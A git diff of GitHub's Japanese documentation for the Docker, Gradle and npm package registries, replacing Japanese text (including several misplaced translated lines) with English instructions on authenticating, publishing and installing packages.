*OWNER* with the name of the user or organization account that owns the repository, *REPOSITORY* with the name of the repository containing your project, *IMAGE_NAME* with name of the package or image, *VERSION* with package version at build time,{% ifversion ghes or ghae %} *HOSTNAME* with the hostname of {% data variables.product.product_location %},{% endif %} and *PATH* to the image if it isn't in the current working directory. {% ifversion fpt or ghec %} ```shell $ docker build -t docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH ``` {% else %} {% ifversion ghes %} - パッケージの作成に関する詳しい情報については[maven.apache.orgのドキュメンテーション](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)を参照してください。 + If your instance has subdomain isolation enabled: {% endif %} ```shell $ docker build -t docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH ``` {% ifversion ghes %} - たとえば、以下の*OctodogApp*と*OctocatApp*は同じリポジトリに公開されます。 + If your instance has subdomain isolation disabled: ```shell $ docker build -t HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION PATH ``` {% endif %} {% endif %} -4. {% data variables.product.prodname_registry %}にイメージを公開してください。 +4. Publish the image to {% data variables.product.prodname_registry %}. {% ifversion fpt or ghec %} ```shell $ docker push docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` {% else %} {% ifversion ghes %} - パッケージの作成に関する詳しい情報については[maven.apache.orgのドキュメンテーション](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)を参照してください。 + If your instance has subdomain isolation enabled: {% endif %} ```shell $ docker push docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` {% ifversion ghes %} - たとえば、以下の*OctodogApp*と*OctocatApp*は同じリポジトリに公開されます。 + If your instance has subdomain isolation disabled: ```shell $ docker push HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` @@ -172,17 +163,17 @@ To use this example login command, replace `USERNAME` with your {% data variable {% endif %} {% note %} - **ノート:** イメージのプッシュは`IMAGE_NAME:SHA`を使うのではなく、`IMAGE_NAME:VERSION`を使って行ってください。 + **Note:** You must push your image using `IMAGE_NAME:VERSION` and not using `IMAGE_NAME:SHA`. {% endnote %} -### Dockerイメージのプッシュの例 +### Example publishing a Docker image {% ifversion ghes %} -この例では、インスタンスの Subdomain Isolation が有効化されていると仮定します。 +These examples assume your instance has subdomain isolation enabled. {% endif %} -`monalisa`イメージのバージョン1.0を、イメージIDを使って`octocat/octo-app`に公開できます。 +You can publish version 1.0 of the `monalisa` image to the `octocat/octo-app` repository using an image ID. {% ifversion fpt or ghec %} ```shell @@ -191,10 +182,10 @@ $ docker images > REPOSITORY TAG IMAGE ID CREATED SIZE > monalisa 1.0 c75bebcdd211 4 weeks ago 1.11MB -# OWNER/REPO/IMAGE_NAMEでイメージにタグ付けする +# Tag the image with OWNER/REPO/IMAGE_NAME $ docker tag c75bebcdd211 docker.pkg.github.com/octocat/octo-app/monalisa:1.0 -# {% data variables.product.prodname_registry %}にイメージをプッシュ +# Push the image to {% data variables.product.prodname_registry %} $ docker push docker.pkg.github.com/octocat/octo-app/monalisa:1.0 ``` @@ -215,12 +206,12 @@ $ docker push docker.HOSTNAME/octocat/octo-app/monalisa:1.0 {% endif %} -新しいDockerイメージを初めて公開し、`monalisa`という名前にできます。 +You can publish a new Docker image for the first time and name it `monalisa`. {% ifversion fpt or ghec %} ```shell -# docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION でイメージを構築 -# Dockerfileはカレントワーキングディレクトリ (.)にあるものとする +# Build the image with docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION +# Assumes Dockerfile resides in the current working directory (.) $ docker build -t docker.pkg.github.com/octocat/octo-app/monalisa:1.0 . # Push the image to {% data variables.product.prodname_registry %} @@ -238,7 +229,7 @@ $ docker push docker.HOSTNAME/octocat/octo-app/monalisa:1.0 ``` {% endif %} -## イメージをダウンロードする +## Downloading an image {% data reusables.package_registry.docker_registry_deprecation_status %} @@ -251,13 +242,13 @@ $ docker pull docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME {% ifversion ghes %} -パッケージの作成に関する詳しい情報については[maven.apache.orgのドキュメンテーション](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)を参照してください。 +If your instance has subdomain isolation enabled: {% endif %} ```shell $ docker pull docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME ``` {% ifversion ghes %} -たとえば、以下の*OctodogApp*と*OctocatApp*は同じリポジトリに公開されます。 +If your instance has subdomain isolation disabled: ```shell $ docker pull HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME ``` @@ -266,11 +257,11 @@ $ docker pull HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME {% note %} -**ノート:** イメージのプルは`IMAGE_NAME:SHA`を使うのではなく、`IMAGE_NAME:VERSION`を使って行ってください。 +**Note:** You must pull the image using `IMAGE_NAME:VERSION` and not using `IMAGE_NAME:SHA`. {% endnote %} -## 参考リンク +## Further reading - "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md b/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md index 1a46de7946..92f12983f8 100644 --- a/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md +++ b/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md @@ -1,6 +1,6 @@ --- -title: Gradleレジストリの利用 -intro: 'パッケージを{% data variables.product.prodname_registry %} Gradleレジストリに公開し、{% data variables.product.prodname_registry %}に保存されているパッケージをJavaプロジェクト中で依存関係として使うようにGradleを設定できます。' +title: Working with the Gradle registry +intro: 'You can configure Gradle to publish packages to the {% data variables.product.prodname_registry %} Gradle registry and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Java project.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-gradle-for-use-with-github-package-registry @@ -13,41 +13,41 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: Gradleレジストリ +shortTitle: Gradle registry --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -{% data reusables.package_registry.default-name %} たとえば、{% data variables.product.prodname_dotcom %}は`OWNER/test`というリポジトリ内の`com.example:test`という名前のパッケージを公開します。 +{% data reusables.package_registry.admins-can-configure-package-types %} -## {% data variables.product.prodname_registry %} への認証を行う +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} -{% data reusables.package_registry.authenticate-packages-github-token %} Gradleとの`GITHUB_TOKEN`の利用に関する詳しい情報については、「[GradleでのJavaパッケージの公開](/actions/guides/publishing-java-packages-with-gradle#publishing-packages-to-github-packages)」を参照してください。 +{% data reusables.package_registry.authenticate-packages-github-token %} For more information about using `GITHUB_TOKEN` with Gradle, see "[Publishing Java packages with Gradle](/actions/guides/publishing-java-packages-with-gradle#publishing-packages-to-github-packages)." -### 個人アクセストークンでの認証 +### Authenticating with a personal access token {% data reusables.package_registry.required-scopes %} -Gradle GroovyもしくはKotlin DSLを使って、Gradleで{% data variables.product.prodname_registry %}に認証を受けることができます。それには、*build.gradle*ファイル（Gradle Groovy）もしくは*build.gradle.kts*ファイル（Kotlin DSL）ファイルを編集して、個人アクセストークンを含めます。 リポジトリ中の単一のパッケージもしくは複数パッケージを認識するようにGradle Groovy及びKotlin DSLを設定することもできます。 +You can authenticate to {% data variables.product.prodname_registry %} with Gradle using either Gradle Groovy or Kotlin DSL by editing your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file to include your personal access token. You can also configure Gradle Groovy and Kotlin DSL to recognize a single package or multiple packages in a repository. {% ifversion ghes %} -*REGISTRY-URL* をインスタンスの Maven レジストリの URL に置き換えます。 インスタンスで Subdomain Isolation が有効になっている場合は、`maven.HOSTNAME` を使用します。 インスタンスで Subdomain Isolation が無効になっている場合は、`HOSTNAME/_registry/maven` を使用します。 いずれの場合でも、 *HOSTNAME* を {% data variables.product.prodname_ghe_server %} インスタンスのホスト名に置き換えてください。 +Replace *REGISTRY-URL* with the URL for your instance's Maven registry. If your instance has subdomain isolation enabled, use `maven.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/maven`. In either case, replace *HOSTNAME* with the host name of your {% data variables.product.prodname_ghe_server %} instance. {% elsif ghae %} -*REGISTRY-URL* を企業の Maven レジストリである `maven.HOSTNAME` の URL に置き換えます。 *HOSTNAME*を{% data variables.product.product_location %}のホスト名で置き換えてください。 +Replace *REGISTRY-URL* with the URL for your enterprise's Maven registry, `maven.HOSTNAME`. Replace *HOSTNAME* with the host name of {% data variables.product.product_location %}. {% endif %} -*USERNAME*を{% data variables.product.prodname_dotcom %}のユーザ名で、*TOKEN*を個人アクセストークンで、*REPOSITORY*を公開したいパッケージを含むリポジトリの名前で、*OWNER*をリポジトリを所有する{% data variables.product.prodname_dotcom %}のユーザもしくはOrganizationアカウント名で置き換えてください。 大文字はサポートされていないため、仮に{% data variables.product.prodname_dotcom %}のユーザあるいはOrganization名が大文字を含んでいても、リポジトリオーナーには小文字を使わなければなりません。 +Replace *USERNAME* with your {% data variables.product.prodname_dotcom %} username, *TOKEN* with your personal access token, *REPOSITORY* with the name of the repository containing the package you want to publish, and *OWNER* with the name of the user or organization account on {% data variables.product.prodname_dotcom %} that owns the repository. Because uppercase letters aren't supported, you must use lowercase letters for the repository owner even if the {% data variables.product.prodname_dotcom %} user or organization name contains uppercase letters. {% note %} -**Note:** {% data reusables.package_registry.apache-maven-snapshot-versions-supported %} 例として「[{% data variables.product.prodname_registry %}で使用するためのApache Mavenの設定](/packages/using-github-packages-with-your-projects-ecosystem/configuring-apache-maven-for-use-with-github-packages)」を参照してください。 +**Note:** {% data reusables.package_registry.apache-maven-snapshot-versions-supported %} For an example, see "[Configuring Apache Maven for use with {% data variables.product.prodname_registry %}](/packages/using-github-packages-with-your-projects-ecosystem/configuring-apache-maven-for-use-with-github-packages)." {% endnote %} -#### リポジトリ中の単一のパッケージのためにGradle Groovyを使う例 +#### Example using Gradle Groovy for a single package in a repository ```shell plugins { @@ -72,7 +72,7 @@ publishing { } ``` -#### 同じリポジトリ中の複数のパッケージのためにGradle Groovyを使う例 +#### Example using Gradle Groovy for multiple packages in the same repository ```shell plugins { @@ -100,7 +100,7 @@ subprojects { } ``` -#### 同じリポジトリ中の単一パッケージのためにKotlin DSLを使う例 +#### Example using Kotlin DSL for a single package in the same repository ```shell plugins { @@ -125,7 +125,7 @@ publishing { } ``` -#### 同じリポジトリ中の複数パッケージのためにKotlin DSLを使う例 +#### Example using Kotlin DSL for multiple packages in the same repository ```shell plugins { @@ -153,14 +153,14 @@ subprojects { } ``` -## パッケージを公開する +## Publishing a package -{% data reusables.package_registry.default-name %} たとえば、{% data variables.product.prodname_dotcom %}は`OWNER/test` {% data variables.product.prodname_registry %}リポジトリ内の`com.example.test`という名前のパッケージを公開します。 +{% data reusables.package_registry.default-name %} For example, {% data variables.product.prodname_dotcom %} will publish a package named `com.example.test` in the `OWNER/test` {% data variables.product.prodname_registry %} repository. {% data reusables.package_registry.viewing-packages %} {% data reusables.package_registry.authenticate-step %} -2. パッケージを作成した後、そのパッケージを公開できます。 +2. After creating your package, you can publish the package. ```shell $ gradle publish @@ -168,18 +168,18 @@ subprojects { ## Using a published package -To use a published package from {% data variables.product.prodname_registry %}, add the package as a dependency and add the repository to your project. 詳しい情報については、Gradleのドキュメンテーションの 「[ Declaring dependencies](https://docs.gradle.org/current/userguide/declaring_dependencies.html)」を参照してください。 +To use a published package from {% data variables.product.prodname_registry %}, add the package as a dependency and add the repository to your project. For more information, see "[Declaring dependencies](https://docs.gradle.org/current/userguide/declaring_dependencies.html)" in the Gradle documentation. {% data reusables.package_registry.authenticate-step %} -2. *build.gradle*ファイル（Gradle Groovy）もしくは*build.gradle.kts*ファイル（Kotlin DSL）にパッケージの依存関係を追加してください。 +2. Add the package dependencies to your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file. - Gradle Groovyの例： + Example using Gradle Groovy: ```shell dependencies { implementation 'com.example:package' } ``` - Kotlin DSLの例： + Example using Kotlin DSL: ```shell dependencies { implementation("com.example:package") @@ -188,7 +188,7 @@ To use a published package from {% data variables.product.prodname_registry %}, 3. Add the repository to your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file. - Gradle Groovyの例： + Example using Gradle Groovy: ```shell repositories { maven { @@ -200,7 +200,7 @@ To use a published package from {% data variables.product.prodname_registry %}, } } ``` - Kotlin DSLの例： + Example using Kotlin DSL: ```shell repositories { maven { @@ -213,7 +213,7 @@ To use a published package from {% data variables.product.prodname_registry %}, } ``` -## 参考リンク +## Further reading -- 「[ Apache Mavenレジストリの利用](/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry)」 +- "[Working with the Apache Maven registry](/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry)" - "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md b/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md index db7744f406..6f606db0cb 100644 --- a/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md +++ b/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md @@ -1,6 +1,6 @@ --- -title: npmレジストリの利用 -intro: '{% data variables.product.prodname_registry %} にパッケージを公開するよう npm を設定し、{% data variables.product.prodname_registry %} に保存されたパッケージを依存関係として npm プロジェクトで利用できます。' +title: Working with the npm registry +intro: 'You can configure npm to publish packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in an npm project.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-npm-for-use-with-github-package-registry @@ -13,38 +13,38 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: npmレジストリ +shortTitle: npm registry --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -{% data reusables.package_registry.default-name %} たとえば、{% data variables.product.prodname_dotcom %}は`OWNER/test`というリポジトリ内の`com.example:test`という名前のパッケージを公開します。 +{% data reusables.package_registry.admins-can-configure-package-types %} -## 公開したnpmバージョンに対する制限 +## Limits for published npm versions -{% data variables.product.prodname_registry %}に公開したnpmパッケージのバージョンが1000を超える場合、使用中にパフォーマンスの問題やタイムアウトが発生することがあります。 +If you publish over 1,000 npm package versions to {% data variables.product.prodname_registry %}, you may see performance issues and timeouts occur during usage. -サービスのパフォーマンスを向上させるため、将来的には1,000を超えるパッケージのバージョンを{% data variables.product.prodname_dotcom %}に公開できなくなります。 この制限に達しないバージョンであれば、今後も読み取り可能です。 +In the future, to improve performance of the service, you won't be able to publish more than 1,000 versions of a package on {% data variables.product.prodname_dotcom %}. Any versions published before hitting this limit will still be readable. -この制限に達した場合は、パッケージのバージョンを削除するよう検討するか、サポートにお問い合わせください。 この制限が施行されるようになると、ドキュメントが更新され、この制限を回避する方法が記載されることになります。 詳しい情報については、 「{% ifversion fpt or ghes > 3.0 or ghec %}[パッケージを削除および復元する](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[パッケージを削除する](/packages/learn-github-packages/deleting-a-package){% endif %}」または「[サポートへの連絡](/packages/learn-github-packages/about-github-packages#contacting-support)」を参照してください。 +If you reach this limit, consider deleting package versions or contact Support for help. When this limit is enforced, our documentation will be updated with a way to work around this limit. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" or "[Contacting Support](/packages/learn-github-packages/about-github-packages#contacting-support)." -## {% data variables.product.prodname_registry %} への認証を行う +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} {% data reusables.package_registry.authenticate-packages-github-token %} -### 個人アクセストークンでの認証 +### Authenticating with a personal access token {% data reusables.package_registry.required-scopes %} -ユーザごとの*~/.npmrc*ファイルを編集して個人アクセストークンを含めるか、コマンドラインからユーザ名と個人アクセストークンを使ってnpmにログインすることによって、npmで{% data variables.product.prodname_registry %}の認証を受けられます。 +You can authenticate to {% data variables.product.prodname_registry %} with npm by either editing your per-user *~/.npmrc* file to include your personal access token or by logging in to npm on the command line using your username and personal access token. -*~/.npmrc*ファイルに個人アクセストークンを追加して認証を受けるには、プロジェクトの*~/.npmrc*ファイルを編集して、以下の行を含めてください。{% ifversion ghes or ghae %}*HOSTNAME* は {% data variables.product.product_location %}のホスト名で、{% endif %}*TOKEN*は個人アクセストークンで置き換えてください。 *~/.npmrc*ファイルが存在しない場合は、新しく作成してください。 +To authenticate by adding your personal access token to your *~/.npmrc* file, edit the *~/.npmrc* file for your project to include the following line, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.product.product_location %} and {% endif %}*TOKEN* with your personal access token. Create a new *~/.npmrc* file if one doesn't exist. {% ifversion ghes %} -パッケージの作成に関する詳しい情報については[maven.apache.orgのドキュメンテーション](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)を参照してください。 +If your instance has subdomain isolation enabled: {% endif %} ```shell @@ -52,22 +52,19 @@ shortTitle: npmレジストリ ``` {% ifversion ghes %} -たとえば、以下の*OctodogApp*と*OctocatApp*は同じリポジトリに公開されます。 +If your instance has subdomain isolation disabled: ```shell -$ npm login --registry=https://npm.pkg.github.com -> Username: USERNAME -> Password: TOKEN -> Email: PUBLIC-EMAIL-ADDRESS +//HOSTNAME/_registry/npm/:_authToken=TOKEN ``` {% endif %} -npmにログインすることで認証を受けるには、`npm login`コマンドを使ってください。*USERNAME*は{% data variables.product.prodname_dotcom %}のユーザ名で、*TOKEN*は個人アクセストークンで、*PUBLIC-EMAIL-ADDRESS*はメールアドレスで置き換えてください。 +To authenticate by logging in to npm, use the `npm login` command, replacing *USERNAME* with your {% data variables.product.prodname_dotcom %} username, *TOKEN* with your personal access token, and *PUBLIC-EMAIL-ADDRESS* with your email address. -{% data variables.product.prodname_registry %}がnpmを使用するデフォルトのパッケージレジストリではなく、`npm audit` コマンドを使用する場合、{% data variables.product.prodname_registry %}への認証時には、パッケージの所有者権限と共に`--scope`フラグを使用することをおすすめします。 +If {% data variables.product.prodname_registry %} is not your default package registry for using npm and you want to use the `npm audit` command, we recommend you use the `--scope` flag with the owner of the package when you authenticate to {% data variables.product.prodname_registry %}. {% ifversion ghes %} -パッケージの作成に関する詳しい情報については[maven.apache.orgのドキュメンテーション](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)を参照してください。 +If your instance has subdomain isolation enabled: {% endif %} ```shell @@ -79,7 +76,7 @@ $ npm login --scope=@OWNER --registry=https://{% ifversion fpt or ghec ``` {% ifversion ghes %} -たとえば、以下の*OctodogApp*と*OctocatApp*は同じリポジトリに公開されます。 +If your instance has subdomain isolation disabled: ```shell $ npm login --scope=@OWNER --registry=https://HOSTNAME/_registry/npm/ @@ -89,40 +86,40 @@ $ npm login --scope=@OWNER --registry=https://HOSTNAME/_regist ``` {% endif %} -## パッケージを公開する +## Publishing a package {% note %} -**注釈:** パッケージ名およびスコープには小文字のみを使用する必要があります。 +**Note:** Package names and scopes must only use lowercase letters. {% endnote %} -デフォルトでは、{% data variables.product.prodname_registry %}は*package.json*ファイルのnameフィールドで指定された{% data variables.product.prodname_dotcom %}のリポジトリにパッケージを公開します。 たとえば`@my-org/test`という名前のパッケージを{% data variables.product.prodname_dotcom %}リポジトリの`my-org/test`に公開します。 パッケージディレクトリに*README.md*ファイルを置くことで、パッケージリスティングページのためのまとめを追加できます。 詳しい情報については、npmのドキュメンテーション中の「[Working with package.json](https://docs.npmjs.com/getting-started/using-a-package.json)」及び「[How to create Node.js Modules](https://docs.npmjs.com/getting-started/creating-node-modules)」を参照してください。 +By default, {% data variables.product.prodname_registry %} publishes a package in the {% data variables.product.prodname_dotcom %} repository you specify in the name field of the *package.json* file. For example, you would publish a package named `@my-org/test` to the `my-org/test` {% data variables.product.prodname_dotcom %} repository. You can add a summary for the package listing page by including a *README.md* file in your package directory. For more information, see "[Working with package.json](https://docs.npmjs.com/getting-started/using-a-package.json)" and "[How to create Node.js Modules](https://docs.npmjs.com/getting-started/creating-node-modules)" in the npm documentation. -`URL`フィールドを*package.json*ファイルに含めることで、同じ{% data variables.product.prodname_dotcom %}のリポジトリに複数のパッケージを公開できます。 詳しい情報については「[同じリポジトリへの複数パッケージの公開](#publishing-multiple-packages-to-the-same-repository)」を参照してください。 +You can publish multiple packages to the same {% data variables.product.prodname_dotcom %} repository by including a `URL` field in the *package.json* file. For more information, see "[Publishing multiple packages to the same repository](#publishing-multiple-packages-to-the-same-repository)." -プロジェクト内にあるローカルの *.npmrc* ファイルか、*package.json* の `publishConfig` オプションを使って、スコープのマッピングを設定できます。 {% data variables.product.prodname_registry %}はスコープ付きのnpmパッケージのみをサポートしています。 スコープ付きパッケージには、`@owner/name` というフォーマットの名前が付いています。 スコープ付きパッケージの先頭には常に `@` 記号が付いています。 スコープ付きの名前を使うには、*package.json* の名前を更新する必要がある場合があります。 たとえば、`"name": "@codertocat/hello-world-npm"` のようになります。 +You can set up the scope mapping for your project using either a local *.npmrc* file in the project or using the `publishConfig` option in the *package.json*. {% data variables.product.prodname_registry %} only supports scoped npm packages. Scoped packages have names with the format of `@owner/name`. Scoped packages always begin with an `@` symbol. You may need to update the name in your *package.json* to use the scoped name. For example, `"name": "@codertocat/hello-world-npm"`. {% data reusables.package_registry.viewing-packages %} -### ローカルの*.npmrc*ファイルを使ったパッケージの公開 +### Publishing a package using a local *.npmrc* file -*.npmrc*ファイルを使って、プロジェクトのスコープのマッピングを設定できます。 *.npmrc*ファイル中で{% data variables.product.prodname_registry %} URLとアカウントオーナーを使い、{% data variables.product.prodname_registry %}がどこへパッケージリクエストをまわせばいいか把握できるようにしてください。 *.npmrc*を使う事で、他の開発者が{% data variables.product.prodname_registry %}の代わりにうっかりパッケージをnpmjs.orgに公開してしまうのを避けることができます。 +You can use an *.npmrc* file to configure the scope mapping for your project. In the *.npmrc* file, use the {% data variables.product.prodname_registry %} URL and account owner so {% data variables.product.prodname_registry %} knows where to route package requests. Using an *.npmrc* file prevents other developers from accidentally publishing the package to npmjs.org instead of {% data variables.product.prodname_registry %}. {% data reusables.package_registry.authenticate-step %} {% data reusables.package_registry.create-npmrc-owner-step %} {% data reusables.package_registry.add-npmrc-to-repo-step %} -1. プロジェクトの*package.json*中のパッケージ名を確認してください。 `name`フィールドは、スコープとパッケージの名前を含まなければなりません。 たとえば、パッケージの名前が "test" で、"My-org" {% data variables.product.prodname_dotcom %} Organizationに公開する場合、*package.json*の`name`フィールドは `@my-org/test`とする必要があります。 +1. Verify the name of your package in your project's *package.json*. The `name` field must contain the scope and the name of the package. For example, if your package is called "test", and you are publishing to the "My-org" {% data variables.product.prodname_dotcom %} organization, the `name` field in your *package.json* should be `@my-org/test`. {% data reusables.package_registry.verify_repository_field %} {% data reusables.package_registry.publish_package %} -### *package.json*ファイル中の`publishConfig`を利用したパッケージの公開 +### Publishing a package using `publishConfig` in the *package.json* file -*package.json*ファイル中の`publishConfig`要素を使い、パッケージを公開したいレジストリを指定できます。 詳しい情報についてはnpmドキュメンテーションの「[Configの公開](https://docs.npmjs.com/files/package.json#publishconfig)」を参照してください。 +You can use `publishConfig` element in the *package.json* file to specify the registry where you want the package published. For more information, see "[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)" in the npm documentation. -1. パッケージの*package.json*ファイルを編集して、`publishConfig`エントリを含めてください。 +1. Edit the *package.json* file for your package and include a `publishConfig` entry. {% ifversion ghes %} - パッケージの作成に関する詳しい情報については[maven.apache.orgのドキュメンテーション](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)を参照してください。 + If your instance has subdomain isolation enabled: {% endif %} ```shell "publishConfig": { @@ -130,7 +127,7 @@ $ npm login --scope=@OWNER --registry=https://HOSTNAME/_regist }, ``` {% ifversion ghes %} - たとえば、以下の*OctodogApp*と*OctocatApp*は同じリポジトリに公開されます。 + If your instance has subdomain isolation disabled: ```shell "publishConfig": { "registry":"https://HOSTNAME/_registry/npm/" @@ -140,34 +137,34 @@ $ npm login --scope=@OWNER --registry=https://HOSTNAME/_regist {% data reusables.package_registry.verify_repository_field %} {% data reusables.package_registry.publish_package %} -## 同じリポジトリへの複数パッケージの公開 +## Publishing multiple packages to the same repository -複数のパッケージを同じリポジトリに公開するには、{% data variables.product.prodname_dotcom %}リポジトリのURLを各パッケージの*package.json*ファイル中の`repository`フィールドに含めることができます。 +To publish multiple packages to the same repository, you can include the URL of the {% data variables.product.prodname_dotcom %} repository in the `repository` field of the *package.json* file for each package. -リポジトリのURLが正しいことを確認するには、REPOSITORYを公開したいパッケージを含むリポジトリ名で、OWNERをリポジトリを所有している{% data variables.product.prodname_dotcom %}のユーザもしくはOrganizationアカウント名で置き換えてください。 +To ensure the repository's URL is correct, replace REPOSITORY with the name of the repository containing the package you want to publish, and OWNER with the name of the user or organization account on {% data variables.product.prodname_dotcom %} that owns the repository. -{% data variables.product.prodname_registry %} は、パッケージ名の代わりに、このURLを元にしてリポジトリを照合します。 +{% data variables.product.prodname_registry %} will match the repository based on the URL, instead of based on the package name. ```shell "repository":"https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY", ``` -## パッケージをインストールする +## Installing a package -プロジェクトの*package.json*ファイルに依存関係としてパッケージを追加することで、{% data variables.product.prodname_registry %}からパッケージをインストールできます。 プロジェクトにおける *package.json* の利用に関する詳しい情報については、npm ドキュメンテーションの「[package.json を使って作業する](https://docs.npmjs.com/getting-started/using-a-package.json)」を参照してください。 +You can install packages from {% data variables.product.prodname_registry %} by adding the packages as dependencies in the *package.json* file for your project. For more information on using a *package.json* in your project, see "[Working with package.json](https://docs.npmjs.com/getting-started/using-a-package.json)" in the npm documentation. -デフォルトでは、パッケージは1つのOrganizationから追加できます。 詳しい情報については「[他のOrganizationからのパッケージのインストール](#installing-packages-from-other-organizations)」を参照してください。 +By default, you can add packages from one organization. For more information, see "[Installing packages from other organizations](#installing-packages-from-other-organizations)." You also need to add the *.npmrc* file to your project so that all requests to install packages will {% ifversion ghae %}be routed to{% else %}go through{% endif %} {% data variables.product.prodname_registry %}. {% ifversion fpt or ghes or ghec %}When you route all package requests through {% data variables.product.prodname_registry %}, you can use both scoped and unscoped packages from *npmjs.org*. For more information, see "[npm-scope](https://docs.npmjs.com/misc/scope)" in the npm documentation.{% endif %} {% ifversion ghae %} -By default, you can only use npm packages hosted on your enterprise, and you will not be able to use unscoped packages. For more information on package scoping, see "[npm-scope](https://docs.npmjs.com/misc/scope)" in the npm documentation. If required, {% data variables.product.prodname_dotcom %} support can enable an upstream proxy to npmjs.org. Once an upstream proxy is enabled, if a requested package isn't found on your enterprise, {% data variables.product.prodname_registry %} makes a proxy request to npmjs.org. +By default, you can only use npm packages hosted on your enterprise, and you will not be able to use unscoped packages. For more information on package scoping, see "[npm-scope](https://docs.npmjs.com/misc/scope)" in the npm documentation. If required, {% data variables.product.prodname_dotcom %} support can enable an upstream proxy to npmjs.org. Once an upstream proxy is enabled, if a requested package isn't found on your enterprise, {% data variables.product.prodname_registry %} makes a proxy request to npmjs.org. {% endif %} {% data reusables.package_registry.authenticate-step %} {% data reusables.package_registry.create-npmrc-owner-step %} {% data reusables.package_registry.add-npmrc-to-repo-step %} -4. インストールしているパッケージを使うには、プロジェクトの*package.json*を設定してください。 {% data variables.product.prodname_registry %}のためにパッケージの依存関係を*package.json*ファイルに追加するには、`@my-org/server`というように完全なスコープ付きのパッケージ名を指定してください。 *npmjs.com*からのパッケージについては、`@babel/core`あるいは`@lodash`というような完全な名前を指定してください。 たとえば、以下の*package.json*は`@octo-org/octo-app`パッケージを依存関係として使っています。 +4. Configure *package.json* in your project to use the package you are installing. To add your package dependencies to the *package.json* file for {% data variables.product.prodname_registry %}, specify the full-scoped package name, such as `@my-org/server`. For packages from *npmjs.com*, specify the full name, such as `@babel/core` or `@lodash`. For example, this following *package.json* uses the `@octo-org/octo-app` package as a dependency. ```json { @@ -182,18 +179,18 @@ By default, you can only use npm packages hosted on your enterprise, and you wil } } ``` -5. パッケージをインストールします。 +5. Install the package. ```shell $ npm install ``` -### 他のOrganizationからのパッケージのインストール +### Installing packages from other organizations -デフォルトでは、1つのOrganizationからのみ{% data variables.product.prodname_registry %}パッケージを利用できます。 パッケージリクエストを複数のOrganizationおよびユーザにルーティングしたい場合、*.npmrc*ファイルに行を追加できます。 {% ifversion ghes or ghae %}*HOSTNAME*を、{% data variables.product.product_location %}のホスト名で、{% endif %}*OWNER*を、プロジェクトを含むリポジトリを所有しているユーザもしくはOrganizationアカウント名で置き換えてください。 +By default, you can only use {% data variables.product.prodname_registry %} packages from one organization. If you'd like to route package requests to multiple organizations and users, you can add additional lines to your *.npmrc* file, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.product.product_location %} and {% endif 